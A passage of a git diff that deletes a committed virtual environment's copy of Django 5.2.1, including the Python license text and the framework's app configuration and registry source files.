OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/LICENSE.python b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/LICENSE.python deleted file mode 100644 index 2fc28e87..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/LICENSE.python +++ /dev/null @@ -1,288 +0,0 @@ -Django is licensed under the three-clause BSD license; see the file -LICENSE for details. - -Django includes code from the Python standard library, which is licensed under -the Python license, a permissive open source license. The copyright and license -is included below for compliance with Python's terms. - ----------------------------------------------------------------------- - -Copyright (c) 2001-present Python Software Foundation; All Rights Reserved - -A. HISTORY OF THE SOFTWARE -========================== - -Python was created in the early 1990s by Guido van Rossum at Stichting -Mathematisch Centrum (CWI, see https://www.cwi.nl) in the Netherlands -as a successor of a language called ABC. Guido remains Python's -principal author, although it includes many contributions from others. - -In 1995, Guido continued his work on Python at the Corporation for -National Research Initiatives (CNRI, see https://www.cnri.reston.va.us) -in Reston, Virginia where he released several versions of the -software. - -In May 2000, Guido and the Python core development team moved to -BeOpen.com to form the BeOpen PythonLabs team. In October of the same -year, the PythonLabs team moved to Digital Creations, which became -Zope Corporation. In 2001, the Python Software Foundation (PSF, see -https://www.python.org/psf/) was formed, a non-profit organization -created specifically to own Python-related Intellectual Property. -Zope Corporation was a sponsoring member of the PSF. - -All Python releases are Open Source (see https://opensource.org for -the Open Source Definition). Historically, most, but not all, Python -releases have also been GPL-compatible; the table below summarizes -the various releases. - - Release Derived Year Owner GPL- - from compatible? (1) - - 0.9.0 thru 1.2 1991-1995 CWI yes - 1.3 thru 1.5.2 1.2 1995-1999 CNRI yes - 1.6 1.5.2 2000 CNRI no - 2.0 1.6 2000 BeOpen.com no - 1.6.1 1.6 2001 CNRI yes (2) - 2.1 2.0+1.6.1 2001 PSF no - 2.0.1 2.0+1.6.1 2001 PSF yes - 2.1.1 2.1+2.0.1 2001 PSF yes - 2.1.2 2.1.1 2002 PSF yes - 2.1.3 2.1.2 2002 PSF yes - 2.2 and above 2.1.1 2001-now PSF yes - -Footnotes: - -(1) GPL-compatible doesn't mean that we're distributing Python under - the GPL. All Python licenses, unlike the GPL, let you distribute - a modified version without making your changes open source. The - GPL-compatible licenses make it possible to combine Python with - other software that is released under the GPL; the others don't. - -(2) According to Richard Stallman, 1.6.1 is not GPL-compatible, - because its license has a choice of law clause. According to - CNRI, however, Stallman's lawyer has told CNRI's lawyer that 1.6.1 - is "not incompatible" with the GPL. - -Thanks to the many outside volunteers who have worked under Guido's -direction to make these releases possible. - - -B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON -=============================================================== - -Python software and documentation are licensed under the -Python Software Foundation License Version 2. - -Starting with Python 3.8.6, examples, recipes, and other code in -the documentation are dual licensed under the PSF License Version 2 -and the Zero-Clause BSD license. - -Some software incorporated into Python is under different licenses. -The licenses are listed with code falling under that license. - - -PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2 --------------------------------------------- - -1. This LICENSE AGREEMENT is between the Python Software Foundation -("PSF"), and the Individual or Organization ("Licensee") accessing and -otherwise using this software ("Python") in source or binary form and -its associated documentation. - -2. Subject to the terms and conditions of this License Agreement, PSF hereby -grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, -analyze, test, perform and/or display publicly, prepare derivative works, -distribute, and otherwise use Python alone or in any derivative version, -provided, however, that PSF's License Agreement and PSF's notice of copyright, -i.e., "Copyright (c) 2001 Python Software Foundation; All Rights Reserved" -are retained in Python alone or in any derivative version prepared by Licensee. - -3. In the event Licensee prepares a derivative work that is based on -or incorporates Python or any part thereof, and wants to make -the derivative work available to others as provided herein, then -Licensee hereby agrees to include in any such work a brief summary of -the changes made to Python. - -4. PSF is making Python available to Licensee on an "AS IS" -basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR -IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND -DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS -FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT -INFRINGE ANY THIRD PARTY RIGHTS. - -5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON -FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS -A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON, -OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. - -6. This License Agreement will automatically terminate upon a material -breach of its terms and conditions. - -7. Nothing in this License Agreement shall be deemed to create any -relationship of agency, partnership, or joint venture between PSF and -Licensee. This License Agreement does not grant permission to use PSF -trademarks or trade name in a trademark sense to endorse or promote -products or services of Licensee, or any third party. - -8. By copying, installing or otherwise using Python, Licensee -agrees to be bound by the terms and conditions of this License -Agreement. - - -BEOPEN.COM LICENSE AGREEMENT FOR PYTHON 2.0 -------------------------------------------- - -BEOPEN PYTHON OPEN SOURCE LICENSE AGREEMENT VERSION 1 - -1. This LICENSE AGREEMENT is between BeOpen.com ("BeOpen"), having an -office at 160 Saratoga Avenue, Santa Clara, CA 95051, and the -Individual or Organization ("Licensee") accessing and otherwise using -this software in source or binary form and its associated -documentation ("the Software"). - -2. Subject to the terms and conditions of this BeOpen Python License -Agreement, BeOpen hereby grants Licensee a non-exclusive, -royalty-free, world-wide license to reproduce, analyze, test, perform -and/or display publicly, prepare derivative works, distribute, and -otherwise use the Software alone or in any derivative version, -provided, however, that the BeOpen Python License is retained in the -Software, alone or in any derivative version prepared by Licensee. - -3. BeOpen is making the Software available to Licensee on an "AS IS" -basis. BEOPEN MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR -IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, BEOPEN MAKES NO AND -DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS -FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT -INFRINGE ANY THIRD PARTY RIGHTS. - -4. BEOPEN SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE -SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS -AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY -DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. - -5. This License Agreement will automatically terminate upon a material -breach of its terms and conditions. - -6. This License Agreement shall be governed by and interpreted in all -respects by the law of the State of California, excluding conflict of -law provisions. Nothing in this License Agreement shall be deemed to -create any relationship of agency, partnership, or joint venture -between BeOpen and Licensee. This License Agreement does not grant -permission to use BeOpen trademarks or trade names in a trademark -sense to endorse or promote products or services of Licensee, or any -third party. As an exception, the "BeOpen Python" logos available at -http://www.pythonlabs.com/logos.html may be used according to the -permissions granted on that web page. - -7. By copying, installing or otherwise using the software, Licensee -agrees to be bound by the terms and conditions of this License -Agreement. - - -CNRI LICENSE AGREEMENT FOR PYTHON 1.6.1 ---------------------------------------- - -1. This LICENSE AGREEMENT is between the Corporation for National -Research Initiatives, having an office at 1895 Preston White Drive, -Reston, VA 20191 ("CNRI"), and the Individual or Organization -("Licensee") accessing and otherwise using Python 1.6.1 software in -source or binary form and its associated documentation. - -2. Subject to the terms and conditions of this License Agreement, CNRI -hereby grants Licensee a nonexclusive, royalty-free, world-wide -license to reproduce, analyze, test, perform and/or display publicly, -prepare derivative works, distribute, and otherwise use Python 1.6.1 -alone or in any derivative version, provided, however, that CNRI's -License Agreement and CNRI's notice of copyright, i.e., "Copyright (c) -1995-2001 Corporation for National Research Initiatives; All Rights -Reserved" are retained in Python 1.6.1 alone or in any derivative -version prepared by Licensee. Alternately, in lieu of CNRI's License -Agreement, Licensee may substitute the following text (omitting the -quotes): "Python 1.6.1 is made available subject to the terms and -conditions in CNRI's License Agreement. This Agreement together with -Python 1.6.1 may be located on the internet using the following -unique, persistent identifier (known as a handle): 1895.22/1013. This -Agreement may also be obtained from a proxy server on the internet -using the following URL: http://hdl.handle.net/1895.22/1013". - -3. In the event Licensee prepares a derivative work that is based on -or incorporates Python 1.6.1 or any part thereof, and wants to make -the derivative work available to others as provided herein, then -Licensee hereby agrees to include in any such work a brief summary of -the changes made to Python 1.6.1. - -4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS" -basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR -IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND -DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS -FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT -INFRINGE ANY THIRD PARTY RIGHTS. - -5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON -1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS -A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1, -OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. - -6. This License Agreement will automatically terminate upon a material -breach of its terms and conditions. - -7. This License Agreement shall be governed by the federal -intellectual property law of the United States, including without -limitation the federal copyright law, and, to the extent such -U.S. federal law does not apply, by the law of the Commonwealth of -Virginia, excluding Virginia's conflict of law provisions. -Notwithstanding the foregoing, with regard to derivative works based -on Python 1.6.1 that incorporate non-separable material that was -previously distributed under the GNU General Public License (GPL), the -law of the Commonwealth of Virginia shall govern this License -Agreement only as to issues arising under or with respect to -Paragraphs 4, 5, and 7 of this License Agreement. Nothing in this -License Agreement shall be deemed to create any relationship of -agency, partnership, or joint venture between CNRI and Licensee. This -License Agreement does not grant permission to use CNRI trademarks or -trade name in a trademark sense to endorse or promote products or -services of Licensee, or any third party. - -8. By clicking on the "ACCEPT" button where indicated, or by copying, -installing or otherwise using Python 1.6.1, Licensee agrees to be -bound by the terms and conditions of this License Agreement. - - ACCEPT - - -CWI LICENSE AGREEMENT FOR PYTHON 0.9.0 THROUGH 1.2 --------------------------------------------------- - -Copyright (c) 1991 - 1995, Stichting Mathematisch Centrum Amsterdam, -The Netherlands. All rights reserved. - -Permission to use, copy, modify, and distribute this software and its -documentation for any purpose and without fee is hereby granted, -provided that the above copyright notice appear in all copies and that -both that copyright notice and this permission notice appear in -supporting documentation, and that the name of Stichting Mathematisch -Centrum or CWI not be used in advertising or publicity pertaining to -distribution of the software without specific, written prior -permission. - -STICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO -THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND -FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE -FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -ZERO-CLAUSE BSD LICENSE FOR CODE IN THE PYTHON DOCUMENTATION ----------------------------------------------------------------------- - -Permission to use, copy, modify, and/or distribute this software for any -purpose with or without fee is hereby granted. - -THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH -REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY -AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, -INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM -LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR -OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR -PERFORMANCE OF THIS SOFTWARE. diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/top_level.txt b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/top_level.txt deleted file mode 100644 index d3e4ba56..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -django diff --git a/backend/venv/Lib/site-packages/django/__init__.py b/backend/venv/Lib/site-packages/django/__init__.py deleted file mode 100644 index 2e1737a2..00000000 --- a/backend/venv/Lib/site-packages/django/__init__.py +++ /dev/null @@ -1,24 +0,0 @@ -from django.utils.version import get_version - -VERSION = (5, 2, 1, "final", 0) - -__version__ = get_version(VERSION) - - -def setup(set_prefix=True): - """ - Configure the settings (this happens as a side effect of accessing the - first setting), configure logging and populate the app registry. - Set the thread-local urlresolvers script prefix if `set_prefix` is True. - """ - from django.apps import apps - from django.conf import settings - from django.urls import set_script_prefix - from django.utils.log import configure_logging - - configure_logging(settings.LOGGING_CONFIG, settings.LOGGING) - if set_prefix: - set_script_prefix( - "/" if settings.FORCE_SCRIPT_NAME is None else settings.FORCE_SCRIPT_NAME - ) - apps.populate(settings.INSTALLED_APPS) diff --git a/backend/venv/Lib/site-packages/django/__main__.py b/backend/venv/Lib/site-packages/django/__main__.py deleted file mode 100644 index 74151438..00000000 --- a/backend/venv/Lib/site-packages/django/__main__.py +++ /dev/null @@ -1,10 +0,0 @@ -""" -Invokes django-admin when the django module is run as a script. - -Example: python -m django check -""" - -from django.core import management - -if __name__ == "__main__": - management.execute_from_command_line() diff --git a/backend/venv/Lib/site-packages/django/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5756005b..00000000 Binary files a/backend/venv/Lib/site-packages/django/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/__pycache__/__main__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/__pycache__/__main__.cpython-311.pyc deleted file mode 100644 index 4e781546..00000000 Binary files a/backend/venv/Lib/site-packages/django/__pycache__/__main__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/__pycache__/shortcuts.cpython-311.pyc b/backend/venv/Lib/site-packages/django/__pycache__/shortcuts.cpython-311.pyc deleted file mode 100644 index 06005d06..00000000 Binary files a/backend/venv/Lib/site-packages/django/__pycache__/shortcuts.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/apps/__init__.py b/backend/venv/Lib/site-packages/django/apps/__init__.py deleted file mode 100644 index 96674be7..00000000 --- a/backend/venv/Lib/site-packages/django/apps/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .config import AppConfig -from .registry import apps - -__all__ = ["AppConfig", "apps"] diff --git a/backend/venv/Lib/site-packages/django/apps/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/apps/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e8e326d9..00000000 Binary files a/backend/venv/Lib/site-packages/django/apps/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/apps/__pycache__/config.cpython-311.pyc b/backend/venv/Lib/site-packages/django/apps/__pycache__/config.cpython-311.pyc deleted file mode 100644 index 7371d12f..00000000 Binary files a/backend/venv/Lib/site-packages/django/apps/__pycache__/config.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/apps/__pycache__/registry.cpython-311.pyc b/backend/venv/Lib/site-packages/django/apps/__pycache__/registry.cpython-311.pyc deleted file mode 100644 index 437851fb..00000000 Binary files a/backend/venv/Lib/site-packages/django/apps/__pycache__/registry.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/apps/config.py b/backend/venv/Lib/site-packages/django/apps/config.py deleted file mode 100644 index 28e50e52..00000000 --- a/backend/venv/Lib/site-packages/django/apps/config.py +++ /dev/null @@ -1,274 +0,0 @@ -import inspect -import os -from importlib import import_module - -from django.core.exceptions import ImproperlyConfigured -from django.utils.functional import cached_property -from django.utils.module_loading import import_string, module_has_submodule - -APPS_MODULE_NAME = "apps" -MODELS_MODULE_NAME = "models" - - -class AppConfig: - """Class representing a Django application and its configuration.""" - - def __init__(self, app_name, app_module): - # Full Python path to the application e.g. 'django.contrib.admin'. - self.name = app_name - - # Root module for the application e.g. . - self.module = app_module - - # Reference to the Apps registry that holds this AppConfig. Set by the - # registry when it registers the AppConfig instance. - self.apps = None - - # The following attributes could be defined at the class level in a - # subclass, hence the test-and-set pattern. - - # Last component of the Python path to the application e.g. 'admin'. - # This value must be unique across a Django project. - if not hasattr(self, "label"): - self.label = app_name.rpartition(".")[2] - if not self.label.isidentifier(): - raise ImproperlyConfigured( - "The app label '%s' is not a valid Python identifier." % self.label - ) - - # Human-readable name for the application e.g. "Admin". - if not hasattr(self, "verbose_name"): - self.verbose_name = self.label.title() - - # Filesystem path to the application directory e.g. - # '/path/to/django/contrib/admin'. - if not hasattr(self, "path"): - self.path = self._path_from_module(app_module) - - # Module containing models e.g. . Set by import_models(). - # None if the application doesn't have a models module. - self.models_module = None - - # Mapping of lowercase model names to model classes. Initially set to - # None to prevent accidental access before import_models() runs. - self.models = None - - def __repr__(self): - return "<%s: %s>" % (self.__class__.__name__, self.label) - - @cached_property - def default_auto_field(self): - from django.conf import settings - - return settings.DEFAULT_AUTO_FIELD - - @property - def _is_default_auto_field_overridden(self): - return self.__class__.default_auto_field is not AppConfig.default_auto_field - - def _path_from_module(self, module): - """Attempt to determine app's filesystem path from its module.""" - # See #21874 for extended discussion of the behavior of this method in - # various cases. - # Convert to list because __path__ may not support indexing. - paths = list(getattr(module, "__path__", [])) - if len(paths) != 1: - filename = getattr(module, "__file__", None) - if filename is not None: - paths = [os.path.dirname(filename)] - else: - # For unknown reasons, sometimes the list returned by __path__ - # contains duplicates that must be removed (#25246). - paths = list(set(paths)) - if len(paths) > 1: - raise ImproperlyConfigured( - "The app module %r has multiple filesystem locations (%r); " - "you must configure this app with an AppConfig subclass " - "with a 'path' class attribute." % (module, paths) - ) - elif not paths: - raise ImproperlyConfigured( - "The app module %r has no filesystem location, " - "you must configure this app with an AppConfig subclass " - "with a 'path' class attribute." % module - ) - return paths[0] - - @classmethod - def create(cls, entry): - """ - Factory that creates an app config from an entry in INSTALLED_APPS. - """ - # create() eventually returns app_config_class(app_name, app_module). - app_config_class = None - app_name = None - app_module = None - - # If import_module succeeds, entry points to the app module. - try: - app_module = import_module(entry) - except Exception: - pass - else: - # If app_module has an apps submodule that defines a single - # AppConfig subclass, use it automatically. - # To prevent this, an AppConfig subclass can declare a class - # variable default = False. - # If the apps module defines more than one AppConfig subclass, - # the default one can declare default = True. - if module_has_submodule(app_module, APPS_MODULE_NAME): - mod_path = "%s.%s" % (entry, APPS_MODULE_NAME) - mod = import_module(mod_path) - # Check if there's exactly one AppConfig candidate, - # excluding those that explicitly define default = False. - app_configs = [ - (name, candidate) - for name, candidate in inspect.getmembers(mod, inspect.isclass) - if ( - issubclass(candidate, cls) - and candidate is not cls - and getattr(candidate, "default", True) - ) - ] - if len(app_configs) == 1: - app_config_class = app_configs[0][1] - else: - # Check if there's exactly one AppConfig subclass, - # among those that explicitly define default = True. - app_configs = [ - (name, candidate) - for name, candidate in app_configs - if getattr(candidate, "default", False) - ] - if len(app_configs) > 1: - candidates = [repr(name) for name, _ in app_configs] - raise RuntimeError( - "%r declares more than one default AppConfig: " - "%s." % (mod_path, ", ".join(candidates)) - ) - elif len(app_configs) == 1: - app_config_class = app_configs[0][1] - - # Use the default app config class if we didn't find anything. - if app_config_class is None: - app_config_class = cls - app_name = entry - - # If import_string succeeds, entry is an app config class. - if app_config_class is None: - try: - app_config_class = import_string(entry) - except Exception: - pass - # If both import_module and import_string failed, it means that entry - # doesn't have a valid value. - if app_module is None and app_config_class is None: - # If the last component of entry starts with an uppercase letter, - # then it was likely intended to be an app config class; if not, - # an app module. Provide a nice error message in both cases. - mod_path, _, cls_name = entry.rpartition(".") - if mod_path and cls_name[0].isupper(): - # We could simply re-trigger the string import exception, but - # we're going the extra mile and providing a better error - # message for typos in INSTALLED_APPS. - # This may raise ImportError, which is the best exception - # possible if the module at mod_path cannot be imported. - mod = import_module(mod_path) - candidates = [ - repr(name) - for name, candidate in inspect.getmembers(mod, inspect.isclass) - if issubclass(candidate, cls) and candidate is not cls - ] - msg = "Module '%s' does not contain a '%s' class." % ( - mod_path, - cls_name, - ) - if candidates: - msg += " Choices are: %s." % ", ".join(candidates) - raise ImportError(msg) - else: - # Re-trigger the module import exception. - import_module(entry) - - # Check for obvious errors. (This check prevents duck typing, but - # it could be removed if it became a problem in practice.) - if not issubclass(app_config_class, AppConfig): - raise ImproperlyConfigured("'%s' isn't a subclass of AppConfig." % entry) - - # Obtain app name here rather than in AppClass.__init__ to keep - # all error checking for entries in INSTALLED_APPS in one place. - if app_name is None: - try: - app_name = app_config_class.name - except AttributeError: - raise ImproperlyConfigured("'%s' must supply a name attribute." % entry) - - # Ensure app_name points to a valid module. - try: - app_module = import_module(app_name) - except ImportError: - raise ImproperlyConfigured( - "Cannot import '%s'. Check that '%s.%s.name' is correct." - % ( - app_name, - app_config_class.__module__, - app_config_class.__qualname__, - ) - ) - - # Entry is a path to an app config class. - return app_config_class(app_name, app_module) - - def get_model(self, model_name, require_ready=True): - """ - Return the model with the given case-insensitive model_name. - - Raise LookupError if no model exists with this name. - """ - if require_ready: - self.apps.check_models_ready() - else: - self.apps.check_apps_ready() - try: - return self.models[model_name.lower()] - except KeyError: - raise LookupError( - "App '%s' doesn't have a '%s' model." % (self.label, model_name) - ) - - def get_models(self, include_auto_created=False, include_swapped=False): - """ - Return an iterable of models. - - By default, the following models aren't included: - - - auto-created models for many-to-many relations without - an explicit intermediate table, - - models that have been swapped out. - - Set the corresponding keyword argument to True to include such models. - Keyword arguments aren't documented; they're a private API. - """ - self.apps.check_models_ready() - for model in self.models.values(): - if model._meta.auto_created and not include_auto_created: - continue - if model._meta.swapped and not include_swapped: - continue - yield model - - def import_models(self): - # Dictionary of models for this app, primarily maintained in the - # 'all_models' attribute of the Apps this AppConfig is attached to. - self.models = self.apps.all_models[self.label] - - if module_has_submodule(self.module, MODELS_MODULE_NAME): - models_module_name = "%s.%s" % (self.name, MODELS_MODULE_NAME) - self.models_module = import_module(models_module_name) - - def ready(self): - """ - Override this method in subclasses to run code when Django starts. - """ diff --git a/backend/venv/Lib/site-packages/django/apps/registry.py b/backend/venv/Lib/site-packages/django/apps/registry.py deleted file mode 100644 index 92de6075..00000000 --- a/backend/venv/Lib/site-packages/django/apps/registry.py +++ /dev/null @@ -1,437 +0,0 @@ -import functools -import sys -import threading -import warnings -from collections import Counter, defaultdict -from functools import partial - -from django.core.exceptions import AppRegistryNotReady, ImproperlyConfigured - -from .config import AppConfig - - -class Apps: - """ - A registry that stores the configuration of installed applications. - - It also keeps track of models, e.g. to provide reverse relations. - """ - - def __init__(self, installed_apps=()): - # installed_apps is set to None when creating the main registry - # because it cannot be populated at that point. Other registries must - # provide a list of installed apps and are populated immediately. - if installed_apps is None and hasattr(sys.modules[__name__], "apps"): - raise RuntimeError("You must supply an installed_apps argument.") - - # Mapping of app labels => model names => model classes. Every time a - # model is imported, ModelBase.__new__ calls apps.register_model which - # creates an entry in all_models. All imported models are registered, - # regardless of whether they're defined in an installed application - # and whether the registry has been populated. Since it isn't possible - # to reimport a module safely (it could reexecute initialization code) - # all_models is never overridden or reset. - self.all_models = defaultdict(dict) - - # Mapping of labels to AppConfig instances for installed apps. - self.app_configs = {} - - # Stack of app_configs. Used to store the current state in - # set_available_apps and set_installed_apps. - self.stored_app_configs = [] - - # Whether the registry is populated. - self.apps_ready = self.models_ready = self.ready = False - # For the autoreloader. - self.ready_event = threading.Event() - - # Lock for thread-safe population. - self._lock = threading.RLock() - self.loading = False - - # Maps ("app_label", "modelname") tuples to lists of functions to be - # called when the corresponding model is ready. Used by this class's - # `lazy_model_operation()` and `do_pending_operations()` methods. - self._pending_operations = defaultdict(list) - - # Populate apps and models, unless it's the main registry. - if installed_apps is not None: - self.populate(installed_apps) - - def populate(self, installed_apps=None): - """ - Load application configurations and models. - - Import each application module and then each model module. - - It is thread-safe and idempotent, but not reentrant. - """ - if self.ready: - return - - # populate() might be called by two threads in parallel on servers - # that create threads before initializing the WSGI callable. - with self._lock: - if self.ready: - return - - # An RLock prevents other threads from entering this section. The - # compare and set operation below is atomic. - if self.loading: - # Prevent reentrant calls to avoid running AppConfig.ready() - # methods twice. - raise RuntimeError("populate() isn't reentrant") - self.loading = True - - # Phase 1: initialize app configs and import app modules. - for entry in installed_apps: - if isinstance(entry, AppConfig): - app_config = entry - else: - app_config = AppConfig.create(entry) - if app_config.label in self.app_configs: - raise ImproperlyConfigured( - "Application labels aren't unique, " - "duplicates: %s" % app_config.label - ) - - self.app_configs[app_config.label] = app_config - app_config.apps = self - - # Check for duplicate app names. - counts = Counter( - app_config.name for app_config in self.app_configs.values() - ) - duplicates = [name for name, count in counts.most_common() if count > 1] - if duplicates: - raise ImproperlyConfigured( - "Application names aren't unique, " - "duplicates: %s" % ", ".join(duplicates) - ) - - self.apps_ready = True - - # Phase 2: import models modules. - for app_config in self.app_configs.values(): - app_config.import_models() - - self.clear_cache() - - self.models_ready = True - - # Phase 3: run ready() methods of app configs. - for app_config in self.get_app_configs(): - app_config.ready() - - self.ready = True - self.ready_event.set() - - def check_apps_ready(self): - """Raise an exception if all apps haven't been imported yet.""" - if not self.apps_ready: - from django.conf import settings - - # If "not ready" is due to unconfigured settings, accessing - # INSTALLED_APPS raises a more helpful ImproperlyConfigured - # exception. - settings.INSTALLED_APPS - raise AppRegistryNotReady("Apps aren't loaded yet.") - - def check_models_ready(self): - """Raise an exception if all models haven't been imported yet.""" - if not self.models_ready: - raise AppRegistryNotReady("Models aren't loaded yet.") - - def get_app_configs(self): - """Import applications and return an iterable of app configs.""" - self.check_apps_ready() - return self.app_configs.values() - - def get_app_config(self, app_label): - """ - Import applications and returns an app config for the given label. - - Raise LookupError if no application exists with this label. - """ - self.check_apps_ready() - try: - return self.app_configs[app_label] - except KeyError: - message = "No installed app with label '%s'." % app_label - for app_config in self.get_app_configs(): - if app_config.name == app_label: - message += " Did you mean '%s'?" % app_config.label - break - raise LookupError(message) - - # This method is performance-critical at least for Django's test suite. - @functools.cache - def get_models(self, include_auto_created=False, include_swapped=False): - """ - Return a list of all installed models. - - By default, the following models aren't included: - - - auto-created models for many-to-many relations without - an explicit intermediate table, - - models that have been swapped out. - - Set the corresponding keyword argument to True to include such models. - """ - self.check_models_ready() - - result = [] - for app_config in self.app_configs.values(): - result.extend(app_config.get_models(include_auto_created, include_swapped)) - return result - - def get_model(self, app_label, model_name=None, require_ready=True): - """ - Return the model matching the given app_label and model_name. - - As a shortcut, app_label may be in the form .. - - model_name is case-insensitive. - - Raise LookupError if no application exists with this label, or no - model exists with this name in the application. Raise ValueError if - called with a single argument that doesn't contain exactly one dot. - """ - if require_ready: - self.check_models_ready() - else: - self.check_apps_ready() - - if model_name is None: - app_label, model_name = app_label.split(".") - - app_config = self.get_app_config(app_label) - - if not require_ready and app_config.models is None: - app_config.import_models() - - return app_config.get_model(model_name, require_ready=require_ready) - - def register_model(self, app_label, model): - # Since this method is called when models are imported, it cannot - # perform imports because of the risk of import loops. It mustn't - # call get_app_config(). - model_name = model._meta.model_name - app_models = self.all_models[app_label] - if model_name in app_models: - if ( - model.__name__ == app_models[model_name].__name__ - and model.__module__ == app_models[model_name].__module__ - ): - warnings.warn( - "Model '%s.%s' was already registered. Reloading models is not " - "advised as it can lead to inconsistencies, most notably with " - "related models." % (app_label, model_name), - RuntimeWarning, - stacklevel=2, - ) - else: - raise RuntimeError( - "Conflicting '%s' models in application '%s': %s and %s." - % (model_name, app_label, app_models[model_name], model) - ) - app_models[model_name] = model - self.do_pending_operations(model) - self.clear_cache() - - def is_installed(self, app_name): - """ - Check whether an application with this name exists in the registry. - - app_name is the full name of the app e.g. 'django.contrib.admin'. - """ - self.check_apps_ready() - return any(ac.name == app_name for ac in self.app_configs.values()) - - def get_containing_app_config(self, object_name): - """ - Look for an app config containing a given object. - - object_name is the dotted Python path to the object. - - Return the app config for the inner application in case of nesting. - Return None if the object isn't in any registered app config. - """ - self.check_apps_ready() - candidates = [] - for app_config in self.app_configs.values(): - if object_name.startswith(app_config.name): - subpath = object_name.removeprefix(app_config.name) - if subpath == "" or subpath[0] == ".": - candidates.append(app_config) - if candidates: - return sorted(candidates, key=lambda ac: -len(ac.name))[0] - - def get_registered_model(self, app_label, model_name): - """ - Similar to get_model(), but doesn't require that an app exists with - the given app_label. - - It's safe to call this method at import time, even while the registry - is being populated. - """ - model = self.all_models[app_label].get(model_name.lower()) - if model is None: - raise LookupError("Model '%s.%s' not registered." % (app_label, model_name)) - return model - - @functools.cache - def get_swappable_settings_name(self, to_string): - """ - For a given model string (e.g. "auth.User"), return the name of the - corresponding settings name if it refers to a swappable model. If the - referred model is not swappable, return None. - - This method is decorated with @functools.cache because it's performance - critical when it comes to migrations. Since the swappable settings don't - change after Django has loaded the settings, there is no reason to get - the respective settings attribute over and over again. - """ - to_string = to_string.lower() - for model in self.get_models(include_swapped=True): - swapped = model._meta.swapped - # Is this model swapped out for the model given by to_string? - if swapped and swapped.lower() == to_string: - return 